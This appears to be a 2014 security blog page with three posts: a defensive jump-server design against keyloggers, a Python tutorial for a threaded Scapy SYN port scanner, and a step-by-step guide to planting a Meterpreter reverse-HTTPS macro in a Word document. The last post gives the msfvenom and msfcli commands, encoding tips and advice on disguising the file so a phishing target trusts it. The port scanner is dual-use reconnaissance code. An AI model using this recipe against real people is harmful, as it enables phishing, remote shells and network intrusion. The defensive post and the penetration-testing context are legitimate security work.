Sunday 14 September 2014

Defence - Beating Keyloggers to protect Domain Admin Creds - Windows



Hi All,

This post is a little different to what I normally do and I think it is a long time coming in general.  Nowadays the bloggers in the IT Security community are all focusing on the hacks, exploits and ways to break in.  I thought I would show you a way to improve the overall security of your network.  This can be implemented quite easily and is a control mandated in the Internet Security Manual.  For anyone not in Australia or not aware of the ISM here is the blurb from ASD.

“The Australian Signals Directorate (ASD) produces the Australian Government Information Security Manual (ISM). The manual is the standard which governs the security of government ICT systems”


I want to state that this is not the only way to design your network and this example is specifically for handling keylogging to protect your domain admin accounts.

From what I am seeing there are two types of networks around these days. 

Flat Networks: Hosts, Admin hosts and Servers in same Subnet



Layered networks: Hosts one subnet, admin another subnet and servers in another subnet



In a flat network any normal host / admin host can RDP into any server.
In a layered network normal hosts cannot RDP into the server subnet but admin hosts can.

What does this mean for keyloggers?
Flat Network
In a flat network your domain admins / server admins are able to logon to any server they want with their admin credentials.  If this is the same as there workstation credentials, email associated, this is a bad thing in general.  For this example we will assume the following:

  • The workstation credentials are different to the admin credentials.  
  • The workstation credential will be named BobSmith
  • The admin credentials will be named BobAdmin.
Layered Network
Now expand on this, Bob is in a separate subnet to the rest of the environment and he can RDP to any server he chooses to. 

Bob has a keylogger that he doesn’t know about.  When bob decides to logon to Server A he uses his BobAdmin account.  Here is what it looks like.

Attack #1

Bob logs in to RDP server.



Meterpreter dumps out the password that is typed and Admin credentials are presented.


Dammit! Isn’t defense in layers supposed to be better? Well yes.  

So you are now asking how do you protect the domain admin credentials? Easy… Setup a management server.  Here is a picture of how it works.  I dummied up some IP ranges to give you an example.



Management Server:
You can handle this one of two ways. 
  • Bob Smith needs a separate account that is allowed to RDP onto the management server but has no admin privileges on the management server.  For example an account named bobRDP.  bobRDP can only RDP to the management server and nowhere else. 
  •  Bob Smith uses ‘BobSmith’ to RDP to the server and again has no admin privileges on the management server.

Option 1 allows a little more separation of accounts and adds an administrative burden.  Option 2 is a quick fix.  It is important that BobSmith is only allowed to logon to the management server and nowhere else.  

Essentially the admin subnet is only allowed TCP 3389 / RDP to the management server NOWHERE ELSE! No other ports.

For this example I am using option 2 because I’m lazy and it allows me to bang out this post quickly.

Attack # 2
Permissions on Jump Server for bobsmith


Pre meterpreter dump on Bobs workstation.  Nothing showed.


Bob RDPs to the management server

Runs mstsc and RDPs to domain controller server.



Open Command Prompt on Jump Server




Open Command prompt on Nested RDP - Domain controller



Dump of meterpreter keylogger after



As you can see there is no remnants of bobAdmins password or him typing in the management server.  Keylogging problem solved!

Now people may look at this post and find so many ways around this design with other attack vectors.  But, this post was specifically for one issue and that is to beatMy keyloggers nothing else.

Hopefully this post has been helpful to you.

Saturday 6 September 2014

Python - Threading for Stupid People Like Me - Threaded Port Scanner w Scapy

Hi All,

Script below for the impatient :)

Its been two weeks now.   A lot longer than a normal person would take to write a threaded application in python.  But persistence pays off and when the script finally runs you feel like jumping, swearing and crying all at the same time.  I hope this explanation of how to setup a multithreaded port scanner will help other people.  I am going to dumb the explanation down for my own purposes.  I warn this is my own interpretation of threading and probably not the best way to do it but it worked for me and may help someone else out.


THREADS, WORKERS and QUEUES....

So here goes.  By default python is a single threaded application. What is a thread.  As wikipedia describes.  I am going to use the post office as an analogy.

Wiki Terms
In computer science, a thread of execution is the smallest sequence of programmed instructions that can be managed independently by a scheduler (typically as part of an operating system)

My Awesome Lamen Terms
Process of sending mail

To make python run faster you have to specify multiple threads to do multiple jobs.

Worker processes

Wiki terms
Couldnt find one.

My Awesome Lamen Terms
The employees.

Queues

Wiki terms
Couldnt find one.

 My Awesome Lamen Terms
 The pile of mail that is waiting when the workers show up for work... Late :-p

How do threads, queues and workers work together (in a story)?
Well the CEO (python script writer) hires 10 people (workers) to rock up to work. When they rock up to work they notice that there is nothing to do.  So as all good CEOs do, they assign out a list of jobs in the form of mail (queues / ports to scan).  Before assigning out the jobs the CEO compiles a list as big as he deems necessary. For this instance it was 100 jobs (ports).  Now he has 100 jobs he asks that each worker grab the mail and start sending the mail out.  One at a time they go out until all mail is sent out.  All the workers can now exit and go home.

What took me so long?
Now I had a heap of these issues and I will details some of them now.

Creating too many threads
Initially when I was creating threads I didn't know how to create a for loop to cycle through 100 ports and then only create 10 threads.  My initial script looked like this.

for p in range (portLength):
thread.start_new_thread(portScan, (p, destIP))

Well this created 100 threads.  Bad idea.  So lets create worker processes to handle the threads instead.  Then the next issue comes...

Worker process hanging stating 'none'
So if you read the script below it shows you  how I created the worker process.

Up until today I could not work out why my script was hanging whilst threading.  I am sure there is a reason but I would need to do some more digging around.


Debugging
I used the pdb module and verbose logging as shown in the example below.  This did not lead me to the issue but still a good process.

PDB  supports setting (conditional) breakpoints and single stepping at the source line level, inspection of stack frames, source code listing, and evaluation of arbitrary Python code in the context of any stack frame. It also supports post-mortem debugging and can be called under program control

http://pymotw.com/2/argparse/

Executed like:

python -m pdb -v test.py


This did not throw any errors to the console but it led me to the next section and probably my best tip when it comes to any form of scripting.


Script (More information below script)

#Import Modules
from scapy.all import *
from Queue import Queue
from threading import Thread
import argparse
import sys

#Set Variables
threadCount = 10
destIP = "192.168.136.131"
q = Queue(maxsize=0)


#Empty Arrays
portList = []
openPorts = []
closedPorts = []
threads = []

def main():
    #Parser Arguments and Usage
    parser = argparse.ArgumentParser(description='This script performs a Syn scan on a specific host with the ports that are specified by you.', usage='Specify Ports with the -p switch. Port range -p 80-200, specific port -p 80, multiple ports -p 80,443,25,22', add_help=True)
    parser.add_argument('-p', action='store', dest='argPorts', help='Type ports in like follows.  For a range -p 80-200, for a group of ports -p 443,80,25,22 or single port -p 80', required=True)
    parser.add_argument('-d', action='store', dest='destIP', help='Type dest IP in this field.  i.e. 192.168.0.5', required=True)
    parser.add_argument('-t', action='store', dest='threadCount', help='Type the amount of threads to use as an integer', type=int, required=True)
    if len(sys.argv)<3:
        parser.print_help()
        sys.exit(0)
    options = parser.parse_args()
    argPorts = str(options.argPorts)
    destIP = str(options.destIP)
    threadCount = int(options.threadCount)

#If argument has hyphen split it then create a list from the range
    if '-' in argPorts:
        print "argPorts is a range"
        startPort = argPorts.split('-')[0]
        endPort = argPorts.split('-')[1]
        for p in range(int(startPort), (int(endPort) + 1)):
            portList.append(p)
        print portList  
#If argument has comma, split then create list.
    elif ',' in argPorts:
        print "argPorts is a comma seperated list"
        for p in argPorts.split(','):
            portList.append(int(p.strip()))
    else:
        portList.append(int(argPorts))
  
    for i in range(threadCount):
        worker = Thread(target=qProcessor, args =(q,))
        worker.setDaemon(True)
        worker.start()
  
    for p in portList:
        q.put(portScan(p, destIP))
        q.join()

def qProcessor(q):
    while True:
        q.get()
        q.task_done()
           
def portScan(port, dstIP):
    scan = sr1(IP(dst=dstIP)/TCP(dport=port,flags="S"), verbose=0)
    print "Scanning port %s and IP: %s"%(port, dstIP)
    if scan.getlayer(TCP).flags == 0x12:
        openPorts.append("IP: %s \t Port: %s \t Status:Open"%(scan.getlayer(IP).src, scan.getlayer(TCP).sport))
   Issue here #    sr1(IP(dst=dstIP)/TCP(dport=port,flags="R"),verbose=0)
    if scan.getlayer(TCP).flags != 0x12:
        closedPorts.append("IP: %s \t Port: %s \t Status:Closed"%(scan.getlayer(IP).src, scan.getlayer(TCP).sport))
  
if __name__ == '__main__':
    main()

for port in openPorts:
    print port



THE BEST ANSWER - KEEP IT SIMPLE STUPID

When you have issues with things hanging in your script replace the action portions of your functions with simple things like 'Print I am %s' %(variable). This will let me know where in your script things may be held up.  In my case I specified what port I was scanning.

So where did the script stop.  On that damn reset!!! (highlighted in red) above.


Tips for working out issues in your script.
So as I said above.  Keep it simple.  When you start to get into complex scripts that have multiple functions and classes it is quite easy to gloss over what is and isn't working.  This is stating the obvious but here are some of my tips for understanding where my scripts are not working.

Print Print Print
When you have a script that iterates through a list when you first script it up, print out what is going on.  For the above example you can see  that I am printing 'scanning port and ip'.

Enable Verbose mode and debugging
Some of the debugging information may look like gobly gook to a lot of you. Including me.  But using your google fu you can look into what module is being created.

Exceptions
Try, except.  This is an even better place to start over debugging.  What I did to narrow it down was this.

try:
    func(ip,port)

except Exception as e:
    print "Error in func function"  
    print e

Smaller Steps
So when writing a script take baby steps.  Don't try and add everything at once when you are a beginner scripter.  It doesn't help you find issues quickly.  So what do I mean. Well here is an example from my port scanner.

  1. Create simple port connect utility with one port and one IP
  2. Create function to call port connect, one port one IP
  3. Create function to call range of ports with one IP
  4. Thread the application so it takes a fixed amount of ports
  5. Add an argument parser.
You can add a heap more above if you wanted but if you see my flow I am only ever working on one issue at a time.  I am not battling my function, threading and argument parsing all in one.  I make smaller scripts like building blocks and add to them until I have something I like.

Hopefully this wasn't too big of a post but helpful none the less. Take it easy.

Friday 15 August 2014

Metasploit - Meterpreter Inject Visual Basic Meterpreter Shell into Word File

Hi All,

Hope everyone is doing well.  This little post will show you how to inject meterpreter shell to a Word document.  So the reason why I decided to create this post was due to a pentest that I was performing.  I was looking through the website and there was nothing to go by, brute force of the admin page was blocked after 5 invalid attempts.  User enumeration was blocked, nothing on haveibeenpwned for emails gathered.  But there was a registration form for an upcoming event. This file was a word document that once completed needed to be emailed to the mentioned email.  This is the perfect phishing target as the client is expecting the email with an attached word document so there is initial trust there. This was my attack vector and worked beautifully.  Here is my little guide.

  1. Open up your command line and execute the following command.

    msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.187.142 LPORT=443 -f vba > vbcode.vba 

    Where LHOST is your IP that the client will connect back to. For this example I did not use any of the encoders but it is recommended to do so. My favourite is x86/shikata_ga_nai and can be added by doing the following '-e x86/shikata_ga_nai -i 5' where '-i' means how many iterations to go through of encoding.
  2. Copy the exported file to a location you can remember 
  3. Open up the word document and press 'ALT + F11'.  This will open up the visual basic editor.
  4.  Right Click 'ThisDocument' and click import file.

5. If you cant see the file select all files as shown.

6. You will now have the module in the modules list as shown.  Access the module by double clicking.
7. Save the document as '97/2003' format to whatever name you like.  Keeping the original name makes it more believable.
8. Now go back to the console where you will run metasploit from and execute the below command.
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_https LHOST=192.168.187.142 LPORT=443 E 

Where LHOST is your IP that the client will connect back to.

A note from this, you can create the handler in msfconsole if you wish to but this fast tracks the process.




9. Wait for user to open file.....  But I will do it myself as this is a test ;-P.
10. On the client depending on their macro settings there will be a message as shown. For this to work they need to click the enable content.  Note this test was actioned on Word 2013
11. Then meterpreter session starts.

 

 12.Party Time